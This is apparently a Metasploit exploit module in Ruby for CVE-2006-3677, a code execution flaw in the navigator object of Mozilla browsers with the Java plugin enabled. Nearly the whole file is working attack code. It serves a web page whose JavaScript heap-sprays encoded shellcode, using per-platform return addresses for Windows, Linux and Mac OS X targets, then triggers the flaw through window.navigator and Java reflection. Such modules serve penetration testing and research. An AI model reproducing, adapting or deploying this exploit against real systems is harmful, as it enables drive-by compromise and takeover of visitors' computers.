130 lines
3.0 KiB
Ruby
130 lines
3.0 KiB
Ruby
require 'msf/core'
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module Msf
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class Exploits::Multi::Browser::Mozilla_NavigatorJava < Msf::Exploit::Remote
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#
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# This module acts as an HTTP server
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#
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include Exploit::Remote::HttpServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Mozilla Suite/Firefox Navigator Object Code Execution',
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'Description' => %q{
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This module exploits a code execution vulnerability in the Mozilla
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Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit
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requires the Java plugin to be installed.
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},
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'License' => MSF_LICENSE,
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'Author' => ['hdm'],
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'Version' => '$Revision: 3637 $',
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'References' =>
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[
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['BID', '19192'],
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['OSVDB', '27559'],
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['CVE', '2006-3677'],
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['URL', 'http://www.mozilla.org/security/announce/mfsa2006-45.html'],
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['URL', 'http://browserfun.blogspot.com/2006/07/mobb-28-mozilla-navigator-object.html'],
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],
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'Payload' =>
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{
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'Space' => 512,
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'BadChars' => "",
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},
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'Targets' =>
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[
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[ 'Firefox 1.5.0.4 Windows x86',
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{
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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'Ret' => 0x08000800,
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'Fill' => "%u0800",
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}
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],
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[ 'Firefox 1.5.0.4 Linux x86',
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{
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'Platform' => 'linux',
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'Arch' => ARCH_X86,
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'Ret' => -0x58000000,
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'Fill' => "%ua8a8",
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}
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],
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[ 'Firefox 1.5.0.4 Mac OS X PPC',
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{
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'Platform' => 'osx',
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'Arch' => ARCH_PPC,
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'Ret' => 0x0c000000,
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'Fill' => "%u0c0c",
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}
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],
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[ 'Firefox 1.5.0.4 Mac OS X x86',
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{
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'Platform' => 'osx',
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'Arch' => ARCH_X86,
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'Ret' => 0x1c000000,
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'Fill' => "%u1c1c",
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}
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],
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],
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'DisclosureDate' => 'Jul 25 2006'
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))
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
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send_response(cli, generate_html(p), { 'Content-Type' => 'text/html' })
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handler(cli)
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end
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def generate_html(payload)
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enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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return %Q|
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<html><head>
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<script>
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function Exploit() {
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var shellcode = unescape("#{enc_code}");
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var b = unescape("#{target['Fill']}");
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while (b.length <= 0x400000) b+=b;
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var c = new Array();
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for (var i =0; i<36; i++) {
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c[i] =
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b.substring(0, 0x100000 - shellcode.length) + shellcode +
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b.substring(0, 0x100000 - shellcode.length) + shellcode +
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b.substring(0, 0x100000 - shellcode.length) + shellcode +
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b.substring(0, 0x100000 - shellcode.length) + shellcode;
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}
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if (window.navigator.javaEnabled) {
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window.navigator = (#{target['Ret']} / 2);
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try {
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java.lang.reflect.Runtime.newInstance(
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java.lang.Class.forName("java.lang.Runtime"), 0
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);
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}catch(e){
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}
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}
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}
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</script>
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</head><body onload='Exploit()'>Please wait...</body></html>
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end
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end
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end
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